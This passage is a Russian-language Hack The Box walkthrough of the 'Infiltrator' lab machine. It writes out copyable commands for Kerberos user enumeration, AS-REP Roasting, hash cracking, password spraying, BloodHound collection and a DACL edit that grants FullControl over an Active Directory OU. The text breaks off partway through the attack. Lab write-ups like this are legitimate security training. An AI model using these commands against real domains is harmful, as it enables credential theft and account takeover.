HTB Infiltrator. Раскручиваем цепочку уязвимостей при атаке на Active Directory

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Пользователь winrm_svc
  • Сессия o.martinez
  • Пользователь o.martinez
  • Пользователь lan_managment
  • Пользователь infiltrator_svc$
  • Локальное повышение привилегий
  • ESC4

Мы про­ведем клас­сичес­кий сбор дан­ных в Active Directory и через цепоч­ку раз­решений ском­про­мети­руем учет­ную запись, с которой получим сес­сию на хос­те. Затем извле­чем дан­ные из мес­сен­дже­ра, вскро­ем при­ложе­ние на .NET и про­экс­плу­ати­руем пла­ниров­щик задач для получе­ния слу­жеб­ной учет­ной записи. Повысим при­виле­гии через тех­нику ESC4 для служ­бы ADCS.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Infiltrator с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.31 infiltrator.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел 13 откры­тых пор­тов:

  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 3389 — служ­ба уда­лен­ного рабоче­го сто­ла;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM.

До­бавим в /etc/hosts еще и пол­ное имя машины, а затем нач­нем раз­ведку с изу­чения сай­та.

10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01

Глав­ная стра­ница сай­та 

Точка входа

На сай­те находим спи­сок сот­рудни­ков. Выписы­ваем их в отдель­ный файл.

Сот­рудни­ки ком­пании

С помощью сле­дующе­го скрип­та мы можем сос­тавить спи­сок воз­можных учет­ных записей в домене.

import sysif len(sys.argv)==1: print("Usage: " + sys.argv[0] + " <usernames.txt>") sys.exit(1)names = open(sys.argv[1],"r").read().strip().split('n')list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)python3 getusers.py team.txt > pos_users.txt

Те­перь мож­но исполь­зовать инс­тру­мент Kerbrute для опре­деле­ния учет­ных записей, которые реаль­но сущес­тву­ют в домене. Дело в том, что Kerberos воз­вра­щает раз­ные коды оши­бок для сущес­тву­ющей и несущес­тву­ющей учет­ных записей.

kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt

Учет­ные записи в домене

Имея спи­сок дей­стви­тель­ных учет­ных записей, мож­но про­вес­ти ата­ку AS-REP Roasting. Если в UAC поль­зовате­ля уста­нов­лен флаг «Без пред­варитель­ной про­вер­ки под­линнос­ти Kerberos», то мы можем получить TGT-билет поль­зовате­ля без вер­ного пароля, а затем сбру­тить пароль офлайн.

GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass

Про­веде­ние ата­ки AS-REP Roasting

По­луча­ем хеш поль­зовате­ля L.Clark и можем его проб­рутить с помощью hashcat. Затем валиди­руем учет­ные дан­ные через NetExec.

hashcat hash.txt rockyou.txt

Ре­зуль­тат под­бора пароляnxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'

Про­вер­ка учет­ных дан­ных

По­лучив валид­ные логин и пароль, собира­ем информа­цию из домена. Пер­вым делом получа­ем спи­сок всех поль­зовате­лей.

nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users

Поль­зовате­ли домена

В опи­сании одной учет­ной записи есть стро­ка, похожая на пароль. Сох­раня­ем всех юзе­ров в файл и про­буем исполь­зовать най­ден­ную стро­ку как пароль для дру­гих акка­унтов.

nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success

Ре­зуль­тат перебо­ра

На некото­рых учет­ных записях получа­ем ошиб­ку STATUS_ACCOUNT_RESTRICTION, а зна­чит, пов­торим перебор, но теперь с исполь­зовани­ем аутен­тифика­ции Kerberos.

nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success

Ре­зуль­тат перебо­ра

Ошиб­ка сме­нилась на KRB_AP_ERR_SKEW, а зна­чит, нам нуж­но син­хро­низи­ровать вре­мя на локаль­ной машине с сер­вером.

sudo timedatectl set-ntp falsesudo ntpdate -s 10.10.11.31  

Точка опоры

У нас есть нес­коль­ко уче­ток, приш­ло вре­мя соб­рать базу дан­ных BloodHound. Для сбо­ра дан­ных с исполь­зовани­ем инс­тру­мен­тария под Linux нам нужен рабочий DNS-сер­вер, одна­ко иног­да до него мож­но не дос­тучать­ся. Поэто­му мы раз­вернем свой при помощи скрип­та DNSChef.

Справка: BloodHound

Ути­лита BloodHound исполь­зует теорию гра­фов для выяв­ления скры­тых и зачас­тую неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. Ее мож­но исполь­зовать, что­бы лег­ко иден­тифици­ровать очень слож­ные пути ата­ки.

Пер­вым делом нам нуж­но соз­дать кон­фиг infiltrator.txt, в котором дол­жны быть стан­дар­тные для любого домена записи DNS.

[A] *.infiltrator.htb=10.10.11.31 [SRV] _ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb

За­тем отклю­чаем сис­темный резол­вер и запус­каем свой DNS-сер­вер.

sudo systemctl stop systemd-resolved python3 dnschef.py --file ./infiltrator.txt

За­пуск DNSChef

За­тем исполь­зуем скрипт bloodhound-ce для сбо­ра дан­ных BloodHound. Пос­ле завер­шения работы скрип­та не забыва­ем отклю­чить DNSChef и сно­ва акти­виро­вать systemd-resolved.

python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm sudo systemctl start systemd-resolved

Сбор дан­ных BloodHound

Стро­им граф от поль­зовате­ля D.ANDERSON.

Граф BloodHound

Поль­зователь D.ANDERSON име­ет пра­во GenericAll на под­разде­ление MARKETING DIGITAL, где сос­тоит поль­зователь E.RODRIGUEZ. Это пра­во поз­воля­ет нам наз­начить любые пра­ва для всех чле­нов под­разде­ления. С помощью скрип­та dacledit из пакета Impacket даем поль­зовате­лю D.ANDERSON пол­ные пра­ва на всех чле­нов MARKETING DIGITAL.

dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31

Наз­начение прав на под­разде­ление

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *